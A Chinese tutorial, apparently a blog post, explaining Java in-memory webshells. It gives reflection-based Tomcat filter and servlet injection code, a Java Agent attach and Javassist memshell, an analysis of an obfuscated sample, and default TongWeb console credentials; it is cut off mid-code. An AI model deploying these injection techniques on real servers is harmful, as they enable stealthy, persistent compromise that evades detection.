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内存Webshell马详解

一、内存马概述

1、内存马简介

内存webshell相比于常规webshell更容易躲避传统安全监测设备的检测，通常被用来做持久化，规避检测，持续驻留目标服务器。无文件攻击、内存Webshell、进程注入等基于内存的攻击手段也受到了大多数攻击者青睐。

内存马是无文件攻击的一种常用手段，随着攻防演练热度越来越高：攻防双方的博弈，流量分析、EDR等专业安全设备被蓝方广泛使用，传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到。因此内存马近年来越来越被重视，逐渐成为了攻击方的“必备武器”，针对内存马的防护也越来越被重视。

无文件攻击可以有效地躲避传统安全软件的检测，它们可以在系统的内存中远程加载执行、驻留在注册表中或滥用常用的白名单工具，例如PowerShell，Windows Management Instrumentation（WMI）和PsExec等。无文件攻击技术允许攻击者访问系统，从而启用后续的恶意活动。

通过操纵漏洞利用程序、合法工具、宏和脚本，攻击者可以破坏系统、提升特权或在网络上横向传播恶意代码。而且，无文件威胁在执行后不会留下任何痕迹，这使其难以被检测和清除。

2、内存马类型

根据内存马注入的方式，大致可以将内存马划分为如下两类：

servlet-api型

通过命令执行等方式动态注册一个新的listener、filter或者servlet，从而实现命令执行等功能。特定框架、容器的内存马原理与此类似，如spring的controller内存马，tomcat的valve内存马

字节码增强型

通过java的instrumentation动态修改已有代码，进而实现命令执行等功能。

二、webshell内存马原理

1、内存马原理简介

webshell的变迁过程大致如下所述：

web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马。

传统的Webshell都是基于文件类型的，黑客可以利用上传工具或网站漏洞植入木马。Webshell内存马，是在内存中写入恶意后门和木马并执行，利用中间件的进程执行某些恶意代码，达到远程控制Web服务器的一类内存马。其瞄准了企业的对外窗口：网站、应用，因不会有文件落地，给检测带来巨大难度。

而内存攻击者正是利用软件安全漏洞，构造恶意输入导致软件在处理输入数据时出现非预期错误，将输入数据写入内存中的某些特定敏感位置，从而劫持软件控制流、执行流，转而执行外部输入的指令代码，造成目标系统被获取远程控制，让内存马的攻击得以实现。

webshell内存马原理其原理是先由客户端发起一个web请求，中间件的各个独立的组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作。内存马利用请求过程在内存中修改已有的组件或者动态注册一个新的组件，插入恶意的shellcode达到持久化的控制服务器。

2、Servlet

1. Servlet 简介

Servlet 是运行在 Web 服务器或应用服务器上的程序，它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求，并根据请求生成相应的返回信息提供给用户。

2. 请求的处理过程

客户端发起一个http请求，比如get类型。
Servlet容器接收到请求，根据请求信息，封装成HttpServletRequest和HttpServletResponse对象。
Servlet容器调用HttpServlet的init()方法，init方法只在第一次请求的时候被调用。
Servlet容器调用service()方法。
service()方法根据请求类型，这里是get类型，分别调用doGet或者doPost方法，这里调用doGet方法。
doXXX方法中是我们自己写的业务逻辑。
业务逻辑处理完成之后，返回给Servlet容器，然后容器将结果返回给客户端。
容器关闭时候，会调用destory方法。

3. servlet生命周期

服务器启动时(web.xml中配置load-on-startup=1，默认为0)或者第一次请求该servlet时，就会初始化一个Servlet对象，也就是会执行初始化方法init(ServletConfig conf)。
servlet对象去处理所有客户端请求，在service(ServletRequest req，ServletResponse res)方法中执行
服务器关闭时，销毁这个servlet对象，执行destroy()方法。
由JVM进行垃圾回收。

3、Filter

1. Filter 简介

Filter也称之为过滤器，是对Servlet技术的一个强补充，其主要功能是在HttpServletRequest到达 Servlet 之前，拦截客户的HttpServletRequest ，根据需要检查HttpServletRequest，也可以修改HttpServletRequest 头和数据；在HttpServletResponse到达客户端之前，拦截HttpServletResponse ，根据需要检查HttpServletResponse，也可以修改HttpServletResponse头和数据。

2. Filter 工作原理

Filter 程序是一个实现了特殊接口的 Java 类，与 Servlet 类似，也是由 Servlet 容器进行调用和执行的。
当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时，它可以决定是否将请求继续传递给 Servlet 程序，以及对请求和响应消息是否进行修改。
当 Servlet 容器开始调用某个 Servlet 程序时，如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截，那么容器不再直接调用 Servlet 的 service 方法，而是调用 Filter 的 doFilter 方法，再由 doFilter 方法决定是否去激活 service 方法。
但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法，而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法，FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码，这样就可以在 Servlet 进行响应前后实现某些特殊功能。
如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法，则目标 Servlet 的 service 方法不会被执行，这样通过 Filter 就可以阻止某些非法的访问请求。

3. Filter 生命周期

与servlet一样，Filter的创建和销毁也由web容器负责。web 应用程序启动时，web 服务器将创建Filter 的实例对象，并调用其init方法，读取web.xml配置，完成对象的初始化功能，从而为后续的用户请求作好拦截的准备工作（filter对象只会创建一次，init方法也只会执行一次）。开发人员通过init方法的参数，可获得代表当前filter配置信息的FilterConfig对象。

Filter对象创建后会驻留在内存，当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中，可以释放过滤器使用的资源。

4. Filter 链

当多个Filter同时存在的时候，组成了Filter链。web服务器根据Filter在web.xml文件中的注册顺序，决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时，web服务器会创建一个代表Filter链的FilterChain对象传递给该方法，通过判断FilterChain中是否还有Filter决定后面是否还调用Filter。

4、Listener

1. Listener 简介

JavaWeb开发中的监听器（Listener）就是Application、Session和Request三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

ServletContextListener：对Servlet上下文的创建和销毁进行监听；
ServletContextAttributeListener：监听Servlet上下文属性的添加、删除和替换；
HttpSessionListener：对Session的创建和销毁进行监听。Session的销毁有两种情况，一个中Session超时，还有一种是通过调用Session对象的invalidate()方法使session失效。
HttpSessionAttributeListener：对Session对象中属性的添加、删除和替换进行监听；
ServletRequestListener：对请求对象的初始化和销毁进行监听；
ServletRequestAttributeListener：对请求对象属性的添加、删除和替换进行监听。

2. Listener 用途

可以使用监听器监听客户端的请求、服务端的操作等。通过监听器，可以自动出发一些动作，比如监听在线的用户数量，统计网站访问量、网站访问监控等。

5、Tomcat

1. Tomcat 简介

简单理解，tomcat是http服务器+servlet容器。

Tomcat 作为Servlet容器,将http请求文本接收并解析，然后封装成HttpServletRequest类型的request对象，传递给servlet；同时会将响应的信息封装为HttpServletResponse类型的response对象，然后将response交给tomcat，tomcat就会将其变成响应文本的格式发送给浏览器。

2. Tomcat架构设计

前面提到过，Tomcat 的本质其实就是一个 WEB 服务器 + 一个 Servlet 容器，那么它必然需要处理网络的连接与 Servlet 的管理，因此，Tomcat 设计了两个核心组件来实现这两个功能，分别是连接器和容器，连接器用来处理外部网络连接，容器用来处理内部 Servlet。

让我们用一张图来表示它们的关系：

一个 Tomcat 代表一个 Server 服务器，一个 Server 服务器可以包含多个 Service 服务，Tomcat 默认的 Service 服务是 Catalina，而一个 Service 服务可以包含多个连接器，因为 Tomcat 支持多种网络协议，包括 HTTP/1.1、HTTP/2、AJP 等等，一个 Service 服务还会包括一个容器，容器外部会有一层 Engine 引擎所包裹，负责与处理连接器的请求与响应，连接器与容器之间通过 ServletRequest 和 ServletResponse 对象进行交流。

一个engine可以对一个多个host，也就是虚拟主机，一个host可以对应多个context，也就是web应用，一个context对应多个wrApper，也就是servlet。这个映射关系，通过mApper组件来关联，mApper组件保存了Web应用的配置信息，容器组件与访问路径的映射关系。Host容器的域名，Context容器中的web路径，WrApper容器中的servlet映射的路径，这些配置信息是多层次的Map。

根据请求定位到指定servlet的流程图如下：

6、java反射

反射提供的功能，能在运行时（动态）的

获取一个类的所有成员变量和方法
创建一个类的对象

获取对象成员变量&赋值
调用对象的方法
判断对象所属的类

在注入内存马的过程当中，我们可能需要用到反射机制，例如注入一个servlet型的内存马，我们需要使用反射机制来获取当前的context，然后将恶意的servlet（wrApper）添加到当前的context的children中。

在使用Java反射机制时，主要步骤包括：

获取目标类型的Class对象
通过 Class 对象分别获取Constructor类对象、Method类对象 & Field 类对象
通过 Constructor类对象、Method类对象 & Field类对象分别获取类的构造函数、方法&属性的具体信息，并进行后续操作

7、java instrumentation

Instrumentation是Java提供的一个来自JVM的接口，该接口提供了一系列查看和操作Java类定义的方法，例如修改类的字节码、向classLoader的classpath下加入jar文件等。使得开发者可以通过Java语言来操作和监控JVM内部的一些状态，进而实现Java程序的监控分析，甚至实现一些特殊功能（如AOP、热部署）。

Java agent是一种特殊的Java程序（Jar文件），它是Instrumentation的客户端。与普通Java程序通过main方法启动不同，agent并不是一个可以单独启动的程序，而必须依附在一个Java应用程序（JVM）上，与它运行在同一个进程中，通过Instrumentation API与虚拟机交互。

在注入内存马的过程中，我们可以利用java instrumentation机制，动态的修改已加载到内存中的类里的方法，进而注入恶意的代码。

三、Java内存马实现

1、普通型Java内存马

所谓普通型内存马就是向中间件中注入恶意的Listener、Filter或Servlet。除此之外还有叫做Agent内存马的，之前文章中也提到过了。所有的Java Web程序都遵循JavaEE规范，而Servlet就是规范中的一个。支持此规范的也叫做Servlet容器。无论Tomcat、Weblogic、Jboss、Jetty、Resin还是TongWeb都可以叫做Servlet容器。它们的请求都是Servlet进行处理的。不同Servlet之间可能有共同的逻辑，这部分可能被抽象成Filter（过滤器），在HTTP请求到达Servlet之前，先被filter预处理。Listener则是监听器，监控事件的发生。三者作为Java Web的三大组件，如果其功能中包含了执行操作系统命令，还可以将命令结果显示出来（简称“回显”），也就是具备了木马的功能。但因为它并不存在于jsp中，而是存在于内存中，所以也就被称为内存马。

通过漏洞向中间件（Tomcat、Weblogic等）中注入内存马，也就是注入Listener、Filter或Servlet到内存中，然后模拟中间件对其进行加载。所以内存马制作的核心就是三步：（1）制作恶意的Listener、Filter或Servlet （2）注入到内存（3）根据不同的中间件对三者的加载进行模拟。

项目地址：GitHub - ax1sX/MemShell: MemShell List

1. 制作恶意的Listener、Filter或Servlet

也就是新建一个类实现Listener、Filter或Servlet接口，重写其中的方法。这里需要注意的是Listener。Servlet的作用域包括：ServletContext、HttpSession、HttpServletRequest，对Http请求进行监听是更为通用的做法，也就是选取HttpServletRequest对应的监听器更容易利用，即ServletRequestListener接口。

public class MyListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {}

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
         // 恶意代码
    }   
}

public class MyFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {}

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException, IOException {
        // 恶意代码
    }

    @Override
    public void destroy() {}
}


public class MyServlet extends HttpServlet {
    public void init(ServletConfig servletConfig) throws ServletException {}

    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
       // 恶意代码
    }

    public void destroy() {}
}

2. 注入到内存

制作完上述的恶意Listener、Filter、Servlet实现类后，需要注入到内存中，通过类加载器进行。因为目标系统中并不存在这些实现类，所以没法new，那么就通过先将类转换成base64字符串，然后在注入内存前转换成class，来解决这个问题。

ClassLoader classLoader=Thread.currentThread().getContextClassLoader();
String ServletBase64="yv66vg..." // Listener/Filter/Servlet类的base64字符串;
byte[] ServletClass = new BASE64Decoder().decodeBuffer(ServletBase64);
Method defineClass1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass1.setAccessible(true);
Class servletClass = (Class) defineClass1.invoke(classLoader, ServletClass, 0, ServletClass.length);
Object servletObject=servletClass.newInstance();

3. 根据不同的中间件对三者的加载进行模拟

这一步是最难的。不同的中间件加载方式不同。中间件在初始化的过程中对web.xml中的内容进行解析，然后加载到Context这个共享变量空间去。这样全局都可以使用这些变量。不同的中间件对Context的实现类不同。例如，Tomcat对其的实现类叫做StandardContext，Weblogic对其的实现类叫WebAppServletContext...

1）web.xml

web.xml也是Java Web规范，各类中间件通用，写法如下：

    
        MyServlet
        com.axisx.MyServlet
    

    
        MyServlet
        /servlet
    

    
        MyFilter
        com.axisx.MyFilter
    
    
        MyFilter
        /filter //当访问`/filter`路由时会先被MyFilter拦截，调用MyFilter类的doFilter方法
    

    
        com.axisx.MyListener

以Filter为例，StandardContext涉及到的部分代码如下，已经说明了web.xml如何与代码相对应的。

private Dynamic addFilter(String filterName, String filterClass, Filter filter) throws IllegalStateException {
    //FilterDef：Filter定义的表示，代表标签中的内容
    FilterDef filterDef = this.context.findFilterDef(filterName); 
    if (filterDef == null) {
        filterDef = new FilterDef();
        filterDef.setFilterName(filterName); //对应
        //StandardContext.addFilterDef
        this.context.addFilterDef(filterDef); 
    } 
    ..
    if (filter == null) {
        filterDef.setFilterClass(filterClass);
    } else {
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter); // 对应
    }
}

public boolean filterStart() {
    Iterator i$ = this.filterDefs.entrySet().iterator();
    while(i$.hasNext()) {
         ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue()); //将步骤a中的FilterDef放进来
         this.filterConfigs.put(name, filterConfig);  //将filterDef放入AppllicationFilterConfig.filterConfigs
    }
}

public void addFilterMaps(FilterMaps filterMaps) {
    for(i$ = 0; i$ < len$; ++i$) {
        urlPattern = arr$[i$];
        fmap = new FilterMap(); //对应
        fmap.setFilterName(filterMaps.getFilterName()); //对应子标签
        fmap.setURLPattern(urlPattern); //对应子标签

 
  所以想要注入一个恶意Filter，代码大致如下： 
  // 1 实现恶意Filter
Filter filter = new Filter() {. // init() 、 doFilter() 、 destory()方法重写
};

// 2 定义FilterDef
String name="MyFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());

// 3 创建ApplicationFilterConfig，FilterDef放入FilterConfig中
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

// 4 定义FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);

// 5 将filterConfig添加到filterConfigs、filterMap添加到filterMaps
filterConfigs.put(name,filterConfig);
standardContext.addFilterMap(filterMap); 
  为了保证通用性，上述代码全部用反射来完成。 
  Filter的操作基本都在StandardContext中，Servlet外层被Wrapper包装，对于Wrapper的赋值操作存在于ContextConfig类中。最终Wrapper也会被添加到StandardContext中。 
  // ContextConfig.configureContext
private void configureContext(WebXml webxml) {
    ServletDef servlet = (ServletDef)i$.next();
    Wrapper wrapper = this.context.createWrapper();
    wrapper.setName(servlet.getServletName());
    wrapper.setServletClass(servlet.getServletClass());
    wrapper.setOverridable(servlet.isOverridable());
    this.context.addChild(wrapper);
} 
  上述addFilter等方法，filterConfigs等属性都位于StandardContext中（以Tomcat为例）。每个中间件对于Context的实现类，如Tomcat的StandardContext，这个类都是全局唯一的，不能new。那么如何获取？ 
  2）Context获取 
  a. 一种是通过request对象，但是有时候页面中获取不到request对象。 
  request.getSession().getServletContext();
request.getServletContext(); // Tomcat7及以上 
  b. 一种是通过类加载器，找到Context对应的类加载器。 
  org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // 获取当前线程上下文类加载器ParallelWebappClassLoader，是webappClassLoaderBase的子类
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); 
  c. 一种是通过Java特性，例如MBean。 
  这里补充一下Weblogic获取MBean。Weblogic中有个类weblogic.t3.srvr.ServerRuntime，用于运行时管理，它采用单例模式设计，只有一个对象能够被外界访问，通过theOne方法可以获取。该类的children中有很多MBean的实现类。关于应用管理的是ApplicationRuntimeMBeanImpl，其中的WebAppRuntimeMBeanImpl的context属性可以获取到WebAppServletContext。 
   
  根据上图可以看到获取思路为ServerRuntime.children-> ApplicationRuntimeMBeanImpl.children-> WebAppRuntimeMBeanImpl.context， 
  d. 一种是通过线程。这也是最为常用的方式。以Tomcat为例，架构如下。连接器是用来接收请求的。 
   
  Thread.currentThread().getThreadGroup();看到当前线程如下， 会发现有一个是走的Acceptor。 
   
  按照Tomcat架构的逻辑逐层寻找，最终能找到StandardContext。  
   
  这种通过线程查找Context的方法并不唯一。因为a.中提到可以从request中获取Context。那么也就可以先从Thread中找到request，然后用request找到Context。 
   
  然后获取Context就写成了如下的反射代码： 
  ThreadGroup threadGroup=Thread.currentThread().getThreadGroup();
Field field=threadGroup.getClass().getDeclaredField("threads");
field.setAccessible(true);
Thread[] threads=(Thread[])field.get(threadGroup);
for (Thread thread : threads) {
    if(thread.getName().contains("Acceptor")&&thread.getName().contains("http")){
        Field tfield=thread.getClass().getDeclaredField("target");
        tfield.setAccessible(true);
        Object NioEndpoint$=tfield.get(thread);
        ...
    }
} 
  最后，将上述内容连起来，制作一个恶意的Listener、Filter或者Servlet，注入到内存中。然后通过线程等方式获取到Context。利用Context中的方法将注入到内容中的内容进行加载。 
  4. 在野样本分析 
  最后，补充一下，之前网上流传的一串野生Resin Filter。 
  String clzBytecodeBase64Str = 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
  首先将这串base64串转换成class文件，然后根据类名，在IDEA中粘成一个新的java文件，更改java文件中的报错（有一行return报错），分析一下代码结构，由于采用的是Java label跳出循环的方式，那么此处改为break label174。这样java文件不再报错，可以正常执行。 
   
  具体看一下样本，laabel169代表的循环，将截取后的字符串转成数组，将数组的每一位和长度为7的key进行异或。var72是异或后得到的字符串。即将截取的*"�H�"6)/Yk0$'vwSm44-$&�转换成java.util.Base64$Decoder。关于异或加密XOR的内容可以看：http://www.ruanyifeng.com/blog/2017/05/xor.html 
   
  switch会判断字符串是否完成全部的遍历，如果完成全部的遍历，开始Filter的反射加载流程。  
   
  5. 中间件环境搭建 
  1）Resin 
  Resin 4.X下载地址：https://caucho.com/products/resin/download/archive/gpl，解压即可
 IDEA的plugin中搜索resin，点击install，这样在选择服务器时就有了resin选项，Application server配置时选取下载好的Resin解压后的文件夹即可。启动端口可以任意设置。 
   
  IDEA按照往常的方法，先启动一个maven项目，然后项目右击Add Framework Support生成web目录，包含web.xml。但是启动时遇到了一个错误。 
   
  然后将web.xml文件替换成了如下内容，成功运行。  
  

 
  2）Weblogic 
  （1）本机安装配置 
  Weblogic安装教程可参考：WebLogic的使用总结(一)_wespten的博客-CSDN博客_weblogic 
  （2）vulhub配置 
   不同的是，有些版本容器下可能没有setDomainEnv.sh的权限，或者setDomainEnv.sh所在路径不同。没有权限就需要从容器先拷贝到主机，修改完文件内容后再拷贝回容器 
  (1) 在vulhub中找到weblogic对应CVE 
    cd /vulhub/weblogic/CVE-2020-14882/
(2) 增加端口
    vim docker-compose.yml
    末尾 - "7001:7001"下增加一行 - "8453:8453"
(3) 启动容器
    docker-compose up -d
(4) 进入容器找setDomainEnv.sh所在路径
    docker exec -it 'container_id' /bin/bash
    此版本下的路径为：/u01/oracle/user_projects/domains/base_domain/bin
(5) 从容器中复制 setDomainEnv.sh到主机（由于此版本下没有vi/vim）
    docker cp 'container_id':/u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh /root
(6) 按下图修改setDomainEnv.sh
    vi setDomainEnv.sh
(7) 更改文件权限
    sudo chmod -R 777 setDomainEnv.sh
(8) 从主机拷贝到容器
    docker cp ./setDomainEnv.sh c571ef7ec3a2:/u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh
(9) 重启容器
    sudo docker restart 'container_id'
(10) 复制Weblogic代码到主机
    sudo docker cp 'container_id':/u01/oracle/ ./weblogic_code/
(11) 将jar包集中复制
    mkdir dep  &&  cp `find ./* -name "*.jar"` ./dep 
   
  调试注意事项： 
  想要在调试过程中看到源码，需要导入weblogic安装目录下的module文件夹，该文件夹下存有许多jar文件。文件夹路径如：/oracle/Middleware/Oracle_Home/wlserver/module 
  3）TongWeb 
  从网上找了个6.1的破解版，Windows的。
 TongWeb控制台：http://ip:9060/console/rest。
 默认用户名密码：thanos，thanos123.com 
  IDEA调试前，打开TongWeb控制台->启动参数，JVM参数修改如下： 
  -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address="5005" 
  其他JVM参数增加： 
  -Xdebug 
  2、Agent型Java内存马 
  Java Agent的核心是Instrumentation，通过JVM运行过程中加载一个Agent来修改应用程序。这样就无需新建一个Filter、listener等，直接修改核心类的方法即可。Agent型内存马分为Agent和注入Agent两部分。Agent重写transform方法，加入恶意代码。 
  注入Agent则是遍历VirtualMachine.list，找到目标类，然后将Agent attach到目标应用中。这样注入的Agent无法通过之前Filter、listener的方式在内存中查看，因为并没有加入到具体的内存对象中，只是修改了某个类的方法，所以需要利用工具在JVM中查看类的具体代码，判断是否被修改，来查找内存马的痕迹。想要杀掉Agent内存马就是要把这部分恶意代码抹去。 
  1. 预备知识 
  JVMTI：JVM Tool Interface，Java虚拟机对外提供的Native编程接口
Agent：应用程序的代理程序，从目标JVM中获取数据传递给外部进程
Instrumentation：从Java SE 5开始引入的Java接口，可以通过java.lang.instrument来编写agent，而不再用Native的方式（虽然还是借助了JVMTI）。java.lang.instrument包结构如下 
  java.lang.instrument
    - ClassDefinition
    - ClassFileTransformer
    - IllegalClassFormatException
    - Instrumentation
    - UnmodifiableClassException 
  1）Agent 加载方式 
  Agent的加载可以是在JVM启动的时候，也可以是运行的时候。两种方法入口函数不同。但是形参的第一个参数agentArgs，通过– javaagent传入。inst是Instrumentation类型的对象，JVM自动传入。 
  // 启动时加载
public static void premain(String agentArgs, Instrumentation inst);
public static void premain(String agentArgs);
// 运行时加载
public static void agentmain(String agentArgs, Instrumentation inst);
public static void agentmain(String agentArgs); 
  无论是这两种哪个Agent，都需要打成一个jar包，在ManiFest属性中指定Premain-Class或者Agent-Class。打成jar包后需要挂在到目标JVM上，如果是启动时加载就是-javaagent:[=]，如果是运行时挂载，就需要做一些额外的开发。 
  2. Agent Demo 
  参考https://www.cnblogs.com/rebeyond/p/9686213.html起三个工程，并将三个工程生成的jar放到同一目录。 
  1）JavaAgentMem—要被修改的应用程序 
   
  Ask类是应用程序，即要被Agent修改动作的类。 
  先创建一个修改后希望运行的Ask： 
  public class Ask {
    public void say()
    {
        System.out.println("Oh my god...not yet");
    }
} 
  将这个Ask.class拷贝出来放到xx路径下，然后将这个Ask类改为被修改前的样子。 
  public class Ask {
    public void say()
    {
        System.out.println("Have you finish your Memshell?");
    }
} 
  注意：如果想在命令行中以java -jar xxx.jar来运行jar文件，需要在IDEA的resources中创建MANIFEST.MF文件（指定Main-Class，并且末尾需要一行空行）。 
  Manifest-Version: 1.0
Main-Class: Test
 
  这个工程没啥好说的， 就是相当于一个普通应用程序，后面要写一个Agent来修改它。 
  2）JavaAgent 
   
  AgentEntry类： 
  import java.lang.instrument.Instrumentation;

public class AgentEntry {
    public static void agentmain(String agentArgs, Instrumentation inst)
            throws Exception{
        inst.addTransformer(new Transformer (), true);
        Class[] loadedClasses = inst.getAllLoadedClasses();
        for (Class c : loadedClasses) {
            if (c.getName().equals("Ask")) {
                try {
                    inst.retransformClasses(c);
                } catch (Exception e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
        }
        System.out.println("Class changed!");
    }
} 
  根据预备知识可以知道，Agent分为启动时加载和运行时加载。运行时夹在需要采用agentmain。Instrumentation.addTransformer()用于加载一个转换器。该方法接收的参数类型为ClassFileTransformer接口实现类，该接口中只有一个方法transform()，会返回转换后的字节码。 
  Transformer类： 
  import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.util.Arrays;

public class Transformer implements ClassFileTransformer {

    static byte[] mergeByteArray(byte[]... byteArray) {
        int totalLength = 0;
        for(int i = 0; i < byteArray.length; i ++) {
            if(byteArray[i] == null) {
                continue;
            }
            totalLength += byteArray[i].length;
        }

        byte[] result = new byte[totalLength];
        int cur = 0;
        for(int i = 0; i < byteArray.length; i++) {
            if(byteArray[i] == null) {
                continue;
            }
            System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length);
            cur += byteArray[i].length;
        }

        return result;
    }
    public static byte[] getBytesFromFile(String fileName) {
        try {
            byte[] result=new byte[] {};
            InputStream is = new FileInputStream(new File(fileName));
            byte[] bytes = new byte[1024];
            int num = 0;
            while ((num = is.read(bytes)) != -1) {
                result=mergeByteArray(result, Arrays.copyOfRange(bytes, 0, num));
            }
            is.close();
            return result;
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    public byte[] transform(ClassLoader classLoader, String className, Class c,
                            ProtectionDomain pd, byte[] b) throws IllegalClassFormatException {
        if (!className.equals("Ask")) {
            return null;
        }
        // 刚才Ask.class所放路径
        return getBytesFromFile("/xx/Ask.class");

    }
} 
  3）AgentStarter 
   
  Attach类，挂载到目标JVM上，执行加载Agent操作。而Detach则是将Agent从目标JVM卸载。 
  import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class Attach {
    public static void main(String[] args) throws Exception {

        VirtualMachine vm = null;
        List listAfter = null;
        List listBefore = null;
        listBefore = VirtualMachine.list();
        while (true) {
            try {
                listAfter = VirtualMachine.list();
                if (listAfter.size() <= 0)
                    continue;
                for (VirtualMachineDescriptor vmd : listAfter) {
                    vm = VirtualMachine.attach(vmd);
                    listBefore.add(vmd);
                    System.out.println("i find a vm,agent.jar was injected.");
                    Thread.sleep(1000);
                    if (null != vm) {
                        vm.loadAgent("/xx/JavaAgent.jar");
                        vm.detach();
                    }
                }
                break;

            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}
 
  几种Attach方法比较： 
   
    
     
     attach方式 
     是否会暂停JVM 
     所在jar 
     备注 
     
    
    
     
     HotSpotAgent.attach 
     会 
     sa-jdi.jar 
     在目标进程外部运行 
     
     
     VirtualMachine.attach 
     不会 
     tools.jar 
     attach创建Attach Listener执行命令 
     
     
     VirtualMachinne.loadAgent 
     不会 
     tools.jar 
     loadAgent动态加载jar提供信息 
     
     
     Perf.getPerf.attach(perfDataattach) 
     不会 
     rt.jar 
     lattach时把当前目标JVM进程的状态信息拷贝到mmap文件 
     
    
   
  4）测试效果 
  先运行JavaAgentMem.jar，然后运行AgentStarter.jar，可以看到Ask中的内容被改变。需要说明的是AgentStarter.jar直接运行可能会报错。 
  Caused by: java.lang.ClassNotFoundException: com.sun.tools.attach.VirtualMachine
 
  这是因为Agent需要tools.jar支持，所以需要在应用启动参数上增加tools，如下： 
  java -jar AgentStarter.jar -Xbootclasspath/a:$JAVA_HOME/lib/tools.jar 
   
  3. Agent内存马 
  通过上面的demo可以看到，写一个Agent和一个Attach Agent（Agent注入）的代码就可以改变应用程序的原有内容。那么我们就可以不再写一个新的Servlet或者Filter，而是在程序原有的代码中加入恶意的一部分代理。 
  Agent参考上述JavaAgent的写法，需要一个AgentEntry类编写agentmain，另一个类Transformer写transformer方法。 
  AgentEntry中判断如果当前的类是否为我们要更改的类。那么从内存马的角度来讲，我们要修改的类到底是什么？网上流传的是internalDoFilter，但是它是tomcat中的类，只适用于tomcat。后来冰蝎内置的内存马是写在了HttpServlet的service方法中，由于是JavaEE规范，相对来讲，能适用于更多的中间件。所以AgentEntry写法和上述demo中的没有区别，只是将判断中的Ask类换成org.apache.catalina.core.ApplicationFilterChain。 
  public class MyAgent {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public MyAgent() {
    }

    public static void agentmain(String args, Instrumentation inst) throws Exception {
        inst.addTransformer(new MyTransformer(), true);
        Class[] loadedClasses = inst.getAllLoadedClasses();

        for(int i = 0; i < loadedClasses.length; ++i) {
            Class clazz = loadedClasses[i];
            if (clazz.getName().equals(ClassName)) {
                try {
                    inst.retransformClasses(new Class[]{clazz});
                } catch (Exception var6) {
                    var6.printStackTrace();
                }
            }
        }

    }

    public static void premain(String args, Instrumentation inst) throws Exception {
    }
} 
  Transformer中的功能就是对方法中的代码进行修改并返回新的代码。方法修改一般借助字节码工具asm或者javaassist，前者性能好，但易用性差，一般选用javassist。Javassist在反序列化调用链中多次被用到，能在JVM运行时修改字节码。 
  反序列化中的用法如下： 
  String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//1 创建ClassPool-存储对象
ClassPool classPool=ClassPool.getDefault();
//2 添加类的搜索路径
classPool.appendClassPath(AbstractTranslet);
//3 makeClass创建一个空类，类名为CB
CtClass payload=classPool.makeClass("CB");
//4 设置CB的父类
payload.setSuperclass(classPool.get(AbstractTranslet));
//5 在类中设置static代码块，包含恶意代码
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"); 
  对于Transform实现更改类中代码来说，主要先通过javassist创建ClassPool，然后从中获取需要的类，反射获取类中的方法进行修改。ClassPool存储对象，但是对于Web服务器来说，类的加载器可能不同，就需要通过new ClassClassPath()的方式来创建ClassPool，指定类搜索路径。找到指定的ApplicationFilterChain类后向其doFilter中添加代码。 
  public class MyTransformer implements ClassFileTransformer {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public MyTransformer() {
    }

    public byte[] transform(ClassLoader loader, String className, Class aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace('/', '.');
        // 创建ClassPool
        if (className.equals(ClassName)) {
            ClassPool cp = ClassPool.getDefault();
            if (aClass != null) {
                ClassClassPath classPath = new ClassClassPath(aClass);
                cp.insertClassPath(classPath);
            }

            try {
                // ClassPool中获取class对象
                CtClass cc = cp.get(className);
